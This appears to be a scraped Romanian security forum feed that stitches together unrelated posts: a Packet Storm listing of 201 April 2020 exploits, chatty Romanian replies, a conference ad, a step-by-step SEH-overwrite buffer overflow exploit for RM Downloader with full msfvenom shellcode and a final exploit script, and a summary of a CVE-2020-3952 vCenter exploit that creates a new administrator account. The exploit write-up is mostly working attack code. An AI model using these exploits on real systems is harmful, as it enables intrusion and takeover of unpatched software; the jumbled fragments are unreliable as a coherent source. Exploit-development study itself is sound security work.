This archive contains all of the 201 exploits added to Packet Storm in April, 2020. Content: 05/03/2020 10:07 AM <DIR> . 05/03/2020 10:07 AM <DIR> .. 04/01/2020 06:30 PM 6,139 10strike_lanstate_v9.32_x86_seh_poc.py.txt 04/03/2020 04:33 PM 1,285 13enformecms-sqlxss.txt 04/18/2020 01:34 AM 13,533 2020-05-cde-sdtcm_convert.txt 04/18/2020 01:37 AM 6,462 2020-06-cde-libDtSvc.txt 04/18/2020 01:38 AM 8,786 2020-07-solaris-whodo-w.txt 04/18/2020 04:33 PM 1,352 aac63-unquotedpath.txt 04/11/2020 12:32 AM 830 absolutetelnet1112ssh1-dos.txt 04/02/2020 05:54 PM 5,718 aida64_engineer_v6.20.5300_poc.py.txt 04/20/2020 06:12 PM 3,846 allplayer76-overflow.py.txt 04/08/2020 07:48 PM 5,056 amcrestdahuanvr-dos.txt 04/23/2020 10:27 PM 5,156 amdradeo11-corrupt.txt 04/29/2020 01:11 PM 1,673 andreastfs10647-unquotedpath.txt 04/19/2020 06:22 PM 4,448 AtomicAlarmClock6.3b-UnicodeSEHOF.py.txt 04/13/2020 02:11 PM 2,652 b64dec112-overflow.txt 04/15/2020 09:20 PM 4,330 blazedvd702-overflow.txt 04/06/2020 09:39 PM 5,425 boltcms370-exec.txt 04/08/2020 07:50 PM 1,051,201 centreon19103-sql.pdf 04/20/2020 06:21 PM 3,163 centreon19105-sql.txt 04/30/2020 05:52 PM 2,777 cheminv-xss.txt 04/09/2020 05:45 PM 2,096 ci-pydu-pyja.py.txt 04/21/2020 11:36 PM 8,612 ciscoanyconnectsmc4801090-escalate.txt 04/17/2020 06:25 PM 3,105 ciscoipphone117-dos.txt 04/28/2020 01:01 AM 1,997 cloudme1112-overflow.txt 04/09/2020 05:44 PM 890 Cmen0tc00l1n.txt 04/17/2020 06:29 PM 1,500 codeblocks1601-overflow.txt 04/23/2020 10:29 PM 1,065 complaintms42-sql.txt 04/23/2020 10:31 PM 974 complaintms42-xsrf.txt 04/23/2020 10:24 PM 1,186 complaintms42-xss.txt 04/29/2020 06:39 PM 146,129 CORE-2020-0009.pdf 04/05/2020 10:22 PM 1,049 crs26-xss.txt 04/28/2020 01:22 AM 1,363 csgo4937372-exec.txt 04/21/2020 04:49 PM 951 cszcms127-htmlinject.txt 04/21/2020 04:47 PM 1,090 cszcms127-xss.txt 04/21/2020 05:18 PM 6,523 CVE-2020-6857.txt 04/06/2020 10:01 PM 5,217 cve_2020_0796_smbghost.rb.txt 04/01/2020 05:43 PM 981 diskboss7714-dos.txt 04/02/2020 05:35 PM 3,622 diskboss7714-overflow.txt 04/08/2020 07:43 PM 3,928 django30-xsrfbypass.txt 04/03/2020 05:59 AM 39,916 dnn_cookie_deserialization_rce.rb.txt 04/07/2020 07:37 PM 1,038 dnsmasqutils2791-dos.txt 04/27/2020 06:24 PM 3,548 docker_credential_wincred.rb.txt 04/29/2020 07:00 PM 1,416 druvainsyncwc652-escalate.txt 04/17/2020 06:24 PM 6,042 easympegtodvd1711-overflow.txt 04/22/2020 06:07 PM 2,398 edimaxew7438rpn-disclose.txt 04/22/2020 06:06 PM 1,197 edimaxew7438rpn-xsrf.txt 04/24/2020 05:36 PM 2,196 edimaxew7438rpn113-exec.txt 04/13/2020 08:44 PM 1,835 edimaxew7438rpn3mini127-exec.txt 04/29/2020 06:55 PM 1,837 emeditor198-insecure.txt 04/24/2020 05:34 PM 1,256 espocrm585-escalate.txt 04/12/2020 09:22 PM 18,682 freeDesktopClock_x86_UnicodeSEHOF.py.txt 04/05/2020 09:22 PM 756 frigate336-dos.txt 04/29/2020 06:53 PM 4,086 gigavue550111-traversalupload.txt 04/11/2020 01:01 AM 10,207 GS20200410220034.txt 04/11/2020 01:02 AM 416,501 GS20200410220209.tgz 04/15/2020 09:42 PM 9,019 GS20200415184247.tgz 04/15/2020 09:44 PM 5,361 GS20200415184419.tgz 04/15/2020 09:45 PM 2,801 GS20200415184547.tgz 04/21/2020 05:21 PM 10,622 GS20200421142151.tgz 04/23/2020 10:49 PM 4,123 GS20200423194901.tgz 04/23/2020 10:50 PM 5,395 GS20200423195014.tgz 04/23/2020 10:51 PM 19,440 GS20200423195129.tgz 04/23/2020 10:54 PM 4,963 GS20200423195409.txt 04/28/2020 06:00 PM 7,520 GS20200428150032.tgz 04/29/2020 06:58 PM 3,073 hitsscript10-sql.txt 04/13/2020 01:11 PM 1,573 huaweihg630-bypass.txt 04/21/2020 04:18 PM 24,763 ibm_drm_rce.txt 04/21/2020 04:52 PM 11,839 iqrouter331-exec.txt 04/09/2020 05:47 PM 1,085 jabadabadabad00.txt 04/21/2020 05:08 PM 1,658 jizhicms167-filedownload.txt 04/25/2020 03:23 PM 1,887 jqueryhtml-xss.txt 04/14/2020 02:23 AM 7,630 KL-001-2020-001.txt 04/15/2020 09:57 PM 6,720 liferay_java_unmarshalling.rb.txt 04/03/2020 10:22 PM 849 limesurvey4111-traversal.txt 04/06/2020 10:07 PM 1,683 limesurvey4111sg-xss.txt 04/27/2020 06:15 PM 7,044 maiansh43-xsrf.txt 04/08/2020 07:39 PM 964,265 manageengine14-exec.pdf 04/15/2020 03:17 AM 5,070 matrix42wm9122765-xss.txt 04/03/2020 10:32 PM 3,034 memuplay713-insecure.txt 04/17/2020 06:36 PM 2,979 metasploit_libnotify_cmd_injection.rb.txt 04/06/2020 10:08 PM 11,071 MICROSOFT-WINDOWS-NET-USE-INSUFFICIENT-PASSWORD-PROMPT.txt 04/03/2020 10:22 PM 392 mlp1-xss.txt 04/13/2020 10:22 PM 983 moveittransfer1111-sql.txt 04/02/2020 05:50 PM 2,964 msisw104-disclosessrfexecxss.txt 04/02/2020 05:52 PM 1,410,769 multiotp5044-exec.pdf 04/09/2020 05:43 PM 965 nagios5.6.11-postauth-rce-param_address.txt 04/08/2020 07:36 PM 3,898,310 nagios5611-exec.txt 04/08/2020 07:30 PM 1,518,637 nagiosxi-exec.pdf 04/09/2020 05:57 PM 6,562 netABuse.txt 04/27/2020 05:37 PM 838 netise1-backdoor.txt 04/27/2020 05:41 PM 1,716 netise1-disclose.txt 04/16/2020 06:37 PM 6,382 nexus_repo_manager_el_injection.rb.txt 04/27/2020 05:55 PM 1,031 NS-20-001.txt 04/27/2020 06:18 PM 824 NS-20-002.txt 04/04/2020 01:11 PM 1,560 nsauditor3200-dos.txt 04/20/2020 06:13 PM 4,985 nsauditor3210-overflow.txt 04/21/2020 05:03 PM 6,218 nsclient05235-exec.txt 04/29/2020 06:47 PM 1,722 nvidiausd1021-unquotedpath.txt 04/27/2020 06:05 PM 3,251 ocr20-sql.txt 04/04/2020 05:02 PM 1,097 ohbspro13-xss.txt 04/30/2020 11:32 PM 661 onliness10-bypass.txt 04/30/2020 10:22 PM 1,467 onliness10-xss.txt 04/27/2020 05:56 PM 855 onlinessa10-sql.txt 04/26/2020 10:22 PM 634 openaudit330-xss.txt 04/30/2020 06:54 PM 4,703 openitaudit331-exec.txt 04/02/2020 05:38 PM 6,882 oraclecoherencefusion-exec.txt 04/14/2020 06:04 PM 6,968 oraclewls122140-exec.txt 04/03/2020 05:17 PM 4,211 pandorafms70ng-exec.txt 04/06/2020 09:57 PM 4,193 pandora_ping_cmd_exec.rb.txt 04/06/2020 09:53 PM 1,957 pfsense244p3um-xss.txt 04/10/2020 05:22 AM 532 photoscape-dos.txt 04/27/2020 05:39 PM 2,035 phpfusion90350-upload.txt 05/01/2020 02:03 AM 3,569 phpfusion90350-xss.txt 04/15/2020 09:19 PM 2,608 pinger10-exec.txt 04/04/2020 08:22 PM 1,091 pkexplorer4220-dos.txt 04/06/2020 09:55 PM 4,898 playsms_template_injection.rb.txt 04/21/2020 05:14 PM 1,840 pmb56-sql.txt 04/24/2020 04:02 PM 1,500 popcorntime62-unquotedpath.txt 04/18/2020 12:26 AM 12,063 prestashop1764-execxssxsrf.txt 04/21/2020 11:28 PM 7,738 qradar7316-bypass.txt 04/21/2020 10:51 PM 8,856 qradar7316-defaultpassword.txt 04/21/2020 11:13 PM 6,952 qradar7316-inject.txt 04/21/2020 11:09 PM 6,069 qradar7316-insecurepermissions.txt 04/21/2020 11:15 PM 11,867 qradar7316-lfiinstant.txt 04/21/2020 10:55 PM 8,184 qradar7316-ssrf.txt 04/21/2020 11:30 PM 8,018 qradar7316-traversal.txt 04/21/2020 10:57 PM 8,781 qradar7316-xsrfweakcontrol.txt 04/21/2020 11:06 PM 6,282 qradar7316-xss.txt 04/22/2020 06:08 PM 3,467 rmdownloader313220100613-overflow.txt 04/19/2020 04:33 PM 1,887 rubodicomviewer20-overflow.txt 04/29/2020 06:32 PM 3,501 schoolerppro10-exec.txt 04/29/2020 06:33 PM 1,166 schoolerppro10-fileread.txt 04/29/2020 06:31 PM 1,442 schoolerppro10-sql.txt 04/03/2020 09:02 PM 1,100 seabreeze1-xss.txt 04/09/2020 05:54 PM 1,420 seemantech.py.txt 04/29/2020 07:05 PM 2,408 shiro_rememberme_v124_deserialize.rb.txt 04/03/2020 05:55 AM 18,455 solr_velocity_rce.rb.txt 04/21/2020 05:06 PM 2,257 spiderman211-overflow.txt 04/06/2020 09:24 PM 1,300 spotauditor534-dos.txt 04/08/2020 07:33 PM 2,013,558 symantecwg-exec.pdf 04/08/2020 07:44 PM 919,199 symantecwg5028-exec.pdf 04/21/2020 05:11 PM 1,138 sysaid20111b26-exec.txt 04/14/2020 06:47 PM 9,539 thinkphp_rce.rb.txt 04/15/2020 09:58 PM 17,476 tplink_archer_a7_c7_lan_rce.rb.txt 04/04/2020 09:32 PM 3,819 triologicmp8-overflow.py.txt 04/13/2020 05:44 PM 1,045 tvtnvms1000-traversal.txt 04/06/2020 09:19 PM 786 ultravnclauncher1240-dos.txt 04/05/2020 10:22 PM 790 ultravnclauncher1240pw-dos.txt 04/06/2020 01:22 AM 732 ultravncviewer1240vncserver-dos.txt 04/23/2020 10:23 PM 1,268 ums20-sql.txt 04/23/2020 10:19 PM 1,367 ums20-xss.txt 04/16/2020 11:01 PM 7,458 unquoted_service_path.rb.txt 04/17/2020 06:37 PM 3,175 unraid_auth_bypass_exec.rb.txt 04/06/2020 09:38 PM 1,531 vanguard21-xss.txt 04/06/2020 10:03 PM 7,835 vestacp09826-exec.rb.txt 04/14/2020 06:50 PM 9,816 vestacp_exec.rb.txt 04/30/2020 08:22 PM 777 virtualtablet302-dos.txt 04/15/2020 09:23 PM 8,810 VL-2194.txt 04/15/2020 09:27 PM 12,794 VL-2195.txt 04/17/2020 06:28 PM 13,258 VL-2198.txt 04/15/2020 09:30 PM 7,668 VL-2199.txt 04/15/2020 09:29 PM 9,067 VL-2202.txt 04/15/2020 09:39 PM 13,863 VL-2203.txt 04/18/2020 12:27 AM 9,344 VL-2205.txt 04/15/2020 09:33 PM 15,125 VL-2206.txt 04/21/2020 05:33 PM 15,149 VL-2207.txt 04/18/2020 01:32 AM 17,556 VL-2208.txt 04/15/2020 09:36 PM 11,159 VL-2209.txt 04/20/2020 09:44 PM 11,842 VL-2210.txt 04/17/2020 06:31 PM 6,687 VL-2211.txt 04/15/2020 09:22 PM 15,640 VL-2213.txt 04/17/2020 06:30 PM 18,886 VL-2215.txt 04/20/2020 09:32 PM 13,734 VL-2216.txt 04/21/2020 05:33 PM 13,526 VL-2217.txt 04/28/2020 05:59 PM 5,916 VL-2220.txt 04/30/2020 05:53 PM 7,364 VL-2221.txt 04/28/2020 05:54 PM 5,804 VL-2222.txt 04/28/2020 05:52 PM 8,968 VL-2223.txt 04/28/2020 05:58 PM 6,266 VL-2224.txt 04/28/2020 05:48 PM 10,140 VL-2225.txt 04/28/2020 05:50 PM 9,574 VL-2228.txt 04/28/2020 05:55 PM 8,956 VL-2236.txt 04/24/2020 05:38 PM 5,493 VLairsender102-upload.txt 04/03/2020 05:57 AM 9,425 vmware_fusion_lpe.rb.txt 04/13/2020 12:22 PM 951 webtateas20-fileread.txt 04/06/2020 09:36 PM 1,642 whatsapp039308-xss.txt 04/11/2020 12:48 AM 1,712 windscribe-escalate.txt 04/05/2020 04:11 AM 1,523 wpcrs13-xss.txt 04/13/2020 02:01 PM 1,263 wpmla281-lfi.txt 04/04/2020 01:22 PM 1,451 wpohb11-xss.txt 04/13/2020 04:44 PM 4,228 wso2310-xss.txt 04/13/2020 01:32 PM 5,993 wso2api-filedelete.txt 04/11/2020 12:51 AM 1,313 xeroneitlms30-sql.txt 04/20/2020 06:17 PM 1,924 xinfire_dvd_player.rb.txt 04/20/2020 06:16 PM 1,977 xinfire_tv_player.rb.txt 04/09/2020 05:53 PM 1,064 zagodz1nep0dYouBillATM.txt.txt 04/23/2020 10:32 PM 2,555 zlb3101-traversal.rb.txt 04/11/2020 12:34 AM 1,301 zlb3101-traversal.txt 04/06/2020 09:28 PM 785 zocterminal7255-dos.txt 04/07/2020 07:38 PM 668 zocterminal7255script-dos.txt 04/21/2020 05:15 PM 2,959 ZSL-2020-5564.txt 04/24/2020 05:40 PM 15,784 ZSL-2020-5565.txt 202 File(s) 13,349,927 bytes 2 Dir(s) 29,896,470,528 bytes free Download: 202004-exploits.tgz (11.5 MB) Source
-
- 1
-
^bine punctat pentru cine doreste, public https://www.exploit-db.com/papers/41915 https://pastebin.com/raw/cRYvK4jb
-
Se numește dobândă, si sunt cămătari cu acte, il dai in chirie, sau ai stat in chirie
-
Sunt epuizat, imi este lene sa-l instalez Plugins onesignal lazy-load-optimizer latest release (1.4.6) https://processby.com/lazy-load-wordpress/ td-composer td-cloud-library elasticpress latest release (3.4.1)
-
poate te ajuta :)) si eu mi l-am gasit pe olx
-
https://woocommerce.com/products/woocommerce-dropshipping/ cel mai ideal ar fi sa iti faci unul custom
-
nu răspunde-ți cu "DA" sau "Alo DA", simplu "Alo"
-
Preamble The other day, i was gathering through Exploit-DB as usual, when i came across with this exploit, interested, i was eager to know if i could find a vulnerability. As a result of my success, i will explain the finding. The Bug RM Downloader suffers from a Buffer Overflow and a Structured Exception Handling Overwrite when inputting long strings within the ‘Load’ parameter. A small fuzzing script is generated: import struct buffer = "A" * 10000 f = open ("poc.txt", "w") f.write(buffer) f.close() Once the script is executed, the file is created: In order to crash the application with the generated bytes, open the ‘Load’ tab, and paste the contents within the ‘Load’ parameter: Once this is done, click OK. Two additional messageboxes may appear, just click OK. After this is done the application successfully crashes: Voila! The EIP has been successfully written. Moreover, the SEH Chains has suffered from an overwrite as well: This application could easily be exploited with the use of a JMP/CALL ESP or PUSH ESP, RET. However, as like SEH Overwrites more, i will perform one on this case. A pattern is generated and saved into a file named “pattern”: root@whitecr0wz:~/Exploit-Dev# msf-pattern_create -l 10000 > pattern root@whitecr0wz:~/Exploit-Dev# The contents of the file “pattern” are copied and pasted within the ‘Load’ parameter, repeting the process: After the SEH Chain values have been overwritten, the nSEH value is copied: The offset is calculated with msf-pattern_offset: root@whitecr0wz:~/Exploit-Dev# msf-pattern_offset -q 336F4C32 -l 10000 [*] Exact match at offset 9008 root@whitecr0wz:~/Exploit-Dev# The PoC is updated: import struct buffer = "A" * 9008 + "BBBB" + "CCCC" f = open ("poc.txt", "w") f.write(buffer) f.close() If the script works as intended, the nSEH value should be 42424242 (BBBB) and the SEH value 43434343 (CCCC): Good, in an escenario like this, a 3-byte SEH Overwrite could be performed, in case there are no available addresses without a NULL-byte. The modules are listed: As seen, the module RDfilter03 does not have any kind of protections/mitigations. Moreover, the base address does not contain a NULL- byte. Listing the POP-POP-RETN sequences: The first address (0x10031779) was chosen. The PoC is updated: import struct nseh = struct.pack("<I", 0x06710870) seh = struct.pack("<I", 0x10031779) buffer = "A" * 9008 + nseh + seh + "\xff" * 200 f = open ("poc.txt", "w") f.write(buffer) f.close() After repeating the process, the SEH Chain values are overwritten as expected: After pressing SHIFT+F9 (Run), the additional bytes are executed: Shellcode is generated: root@whitecr0wz:~/Exploit-Dev# msfvenom -p windows/exec CMD=calc.exe -f py -e x86/alpha_mixed EXITFUNC=thread [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload Found 1 compatible encoders Attempting to encode payload with 1 iterations of x86/alpha_mixed x86/alpha_mixed succeeded with size 448 (iteration=0) x86/alpha_mixed chosen with final size 448 Payload size: 448 bytes Final size of py file: 2188 bytes buf = b"" buf += b"\x89\xe6\xdb\xd8\xd9\x76\xf4\x5d\x55\x59\x49\x49\x49" buf += b"\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43" buf += b"\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41" buf += b"\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42" buf += b"\x58\x50\x38\x41\x42\x75\x4a\x49\x59\x6c\x6a\x48\x6b" buf += b"\x32\x37\x70\x53\x30\x45\x50\x71\x70\x4c\x49\x79\x75" buf += b"\x75\x61\x6b\x70\x32\x44\x4c\x4b\x72\x70\x74\x70\x6c" buf += b"\x4b\x53\x62\x46\x6c\x6c\x4b\x33\x62\x45\x44\x6c\x4b" buf += b"\x30\x72\x76\x48\x36\x6f\x6e\x57\x53\x7a\x64\x66\x70" buf += b"\x31\x49\x6f\x4e\x4c\x75\x6c\x45\x31\x33\x4c\x67\x72" buf += b"\x54\x6c\x71\x30\x4a\x61\x4a\x6f\x56\x6d\x46\x61\x59" buf += b"\x57\x6a\x42\x59\x62\x66\x32\x73\x67\x6e\x6b\x66\x32" buf += b"\x42\x30\x6c\x4b\x32\x6a\x45\x6c\x4e\x6b\x32\x6c\x56" buf += b"\x71\x63\x48\x68\x63\x50\x48\x35\x51\x6e\x31\x72\x71" buf += b"\x4c\x4b\x52\x79\x47\x50\x67\x71\x79\x43\x6e\x6b\x31" buf += b"\x59\x64\x58\x5a\x43\x77\x4a\x32\x69\x4e\x6b\x65\x64" buf += b"\x4e\x6b\x75\x51\x68\x56\x56\x51\x6b\x4f\x4c\x6c\x39" buf += b"\x51\x38\x4f\x64\x4d\x35\x51\x4f\x37\x57\x48\x49\x70" buf += b"\x51\x65\x59\x66\x55\x53\x71\x6d\x49\x68\x35\x6b\x73" buf += b"\x4d\x45\x74\x63\x45\x6b\x54\x32\x78\x4e\x6b\x42\x78" buf += b"\x36\x44\x56\x61\x48\x53\x43\x56\x6c\x4b\x46\x6c\x52" buf += b"\x6b\x4c\x4b\x63\x68\x47\x6c\x47\x71\x48\x53\x4e\x6b" buf += b"\x77\x74\x6e\x6b\x55\x51\x58\x50\x4f\x79\x63\x74\x45" buf += b"\x74\x36\x44\x31\x4b\x31\x4b\x31\x71\x72\x79\x43\x6a" buf += b"\x53\x61\x6b\x4f\x6b\x50\x63\x6f\x43\x6f\x42\x7a\x4c" buf += b"\x4b\x65\x42\x7a\x4b\x4e\x6d\x53\x6d\x33\x5a\x57\x71" buf += b"\x4e\x6d\x6d\x55\x4f\x42\x53\x30\x37\x70\x67\x70\x50" buf += b"\x50\x73\x58\x50\x31\x4e\x6b\x42\x4f\x6d\x57\x49\x6f" buf += b"\x78\x55\x6f\x4b\x69\x70\x75\x4d\x46\x4a\x77\x7a\x43" buf += b"\x58\x6e\x46\x4e\x75\x6f\x4d\x4d\x4d\x79\x6f\x49\x45" buf += b"\x55\x6c\x34\x46\x61\x6c\x76\x6a\x6b\x30\x39\x6b\x4d" buf += b"\x30\x71\x65\x64\x45\x6f\x4b\x42\x67\x65\x43\x43\x42" buf += b"\x42\x4f\x61\x7a\x45\x50\x31\x43\x6b\x4f\x7a\x75\x63" buf += b"\x53\x33\x51\x62\x4c\x73\x53\x56\x4e\x51\x75\x31\x68" buf += b"\x53\x55\x35\x50\x41\x41" EndGame Final Code: import struct # msfvenom -p windows/exec CMD=calc.exe -f py -e x86/alpha_mixed EXITFUNC=thread # Payload size: 448 bytes buf = b"" buf += b"\x89\xe6\xdb\xd8\xd9\x76\xf4\x5d\x55\x59\x49\x49\x49" buf += b"\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43" buf += b"\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41" buf += b"\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42" buf += b"\x58\x50\x38\x41\x42\x75\x4a\x49\x59\x6c\x6a\x48\x6b" buf += b"\x32\x37\x70\x53\x30\x45\x50\x71\x70\x4c\x49\x79\x75" buf += b"\x75\x61\x6b\x70\x32\x44\x4c\x4b\x72\x70\x74\x70\x6c" buf += b"\x4b\x53\x62\x46\x6c\x6c\x4b\x33\x62\x45\x44\x6c\x4b" buf += b"\x30\x72\x76\x48\x36\x6f\x6e\x57\x53\x7a\x64\x66\x70" buf += b"\x31\x49\x6f\x4e\x4c\x75\x6c\x45\x31\x33\x4c\x67\x72" buf += b"\x54\x6c\x71\x30\x4a\x61\x4a\x6f\x56\x6d\x46\x61\x59" buf += b"\x57\x6a\x42\x59\x62\x66\x32\x73\x67\x6e\x6b\x66\x32" buf += b"\x42\x30\x6c\x4b\x32\x6a\x45\x6c\x4e\x6b\x32\x6c\x56" buf += b"\x71\x63\x48\x68\x63\x50\x48\x35\x51\x6e\x31\x72\x71" buf += b"\x4c\x4b\x52\x79\x47\x50\x67\x71\x79\x43\x6e\x6b\x31" buf += b"\x59\x64\x58\x5a\x43\x77\x4a\x32\x69\x4e\x6b\x65\x64" buf += b"\x4e\x6b\x75\x51\x68\x56\x56\x51\x6b\x4f\x4c\x6c\x39" buf += b"\x51\x38\x4f\x64\x4d\x35\x51\x4f\x37\x57\x48\x49\x70" buf += b"\x51\x65\x59\x66\x55\x53\x71\x6d\x49\x68\x35\x6b\x73" buf += b"\x4d\x45\x74\x63\x45\x6b\x54\x32\x78\x4e\x6b\x42\x78" buf += b"\x36\x44\x56\x61\x48\x53\x43\x56\x6c\x4b\x46\x6c\x52" buf += b"\x6b\x4c\x4b\x63\x68\x47\x6c\x47\x71\x48\x53\x4e\x6b" buf += b"\x77\x74\x6e\x6b\x55\x51\x58\x50\x4f\x79\x63\x74\x45" buf += b"\x74\x36\x44\x31\x4b\x31\x4b\x31\x71\x72\x79\x43\x6a" buf += b"\x53\x61\x6b\x4f\x6b\x50\x63\x6f\x43\x6f\x42\x7a\x4c" buf += b"\x4b\x65\x42\x7a\x4b\x4e\x6d\x53\x6d\x33\x5a\x57\x71" buf += b"\x4e\x6d\x6d\x55\x4f\x42\x53\x30\x37\x70\x67\x70\x50" buf += b"\x50\x73\x58\x50\x31\x4e\x6b\x42\x4f\x6d\x57\x49\x6f" buf += b"\x78\x55\x6f\x4b\x69\x70\x75\x4d\x46\x4a\x77\x7a\x43" buf += b"\x58\x6e\x46\x4e\x75\x6f\x4d\x4d\x4d\x79\x6f\x49\x45" buf += b"\x55\x6c\x34\x46\x61\x6c\x76\x6a\x6b\x30\x39\x6b\x4d" buf += b"\x30\x71\x65\x64\x45\x6f\x4b\x42\x67\x65\x43\x43\x42" buf += b"\x42\x4f\x61\x7a\x45\x50\x31\x43\x6b\x4f\x7a\x75\x63" buf += b"\x53\x33\x51\x62\x4c\x73\x53\x56\x4e\x51\x75\x31\x68" buf += b"\x53\x55\x35\x50\x41\x41" nseh = struct.pack("<I", 0x06710870) seh = struct.pack("<I", 0x10031779) buffer = "A" * 9008 + nseh + seh + "\x41\x49" * 5 + buf + "\xff" * 200 f = open ("poc.txt", "w") f.write(buffer) f.close() Source: hwhitecr0wz.github.io
-
- 1
-
- nseh
- rdfilter03
-
(and 1 more)
Tagged with:
-
https://youtu.be/ltHe3xAgjN4 Poate te ajuta, fara wifi
-
48 Hours Non-Stop Online Conference Full Networking Experience Where? On your laptop or smartphone When? Starting at 9AM on May 25, GMT+8 Price? Starting at US$ 0,00 First speaker: May 25 / 9:00 AM @ GMT+8 Source: https://www.blockconf.digital
-
- 1
-
Сum să obțineți informații despre cineva (email, număr de telefon, adresă)
Kev replied to alexhost's topic in Programe utile
Useful sites to get/use IPs https://ipinfo.io -
a III-a zi de Paște?
-
Proof of concept for CVE-2020-3952 This is a short piece of code that exploits of CVE-2020-3952, which is described in detail at the Guardicore Labs post over here. This vulnerability was published by VMware in April 2020 with a maximum CVSS score of 10.0. It allows an attacker with a network connection to take control of the vCenter Directory (and thus to the vSphere deployment). VMware released a fix for this bug in vCenter Server 6.7 Update 3f. Any unpatched vCenter 6.7 that has been upgraded from a previous version is vulnerable to this attack. (Clean installs of vCenter 6.7 are not affected.) We recommend reading the post to understand how this exploit works, but in short, it does three things: Attempts an ldap bind request to the vmdird process. This should fail with invalid credentials. Adds a new user with the requested username and password under the domain 'cn=NEW_USERNAME,cn=Users,dc=vsphere,dc=local'. Adds the new user to the 'cn=Administrators,cn=Builtin,dc=vsphere,dc=local' group. Requirements pip3 install python-ldap Usage python3 exploit.py <VCENTER_IP> <NEW_USERNAME> <NEW_PASSWORD> Download: vmware_vcenter_cve_2020_3952-master.zip git clone https://github.com/guardicore/vmware_vcenter_cve_2020_3952.git Source
-
- 1
-
- cve-2020-3952
- vmware
-
(and 1 more)
Tagged with: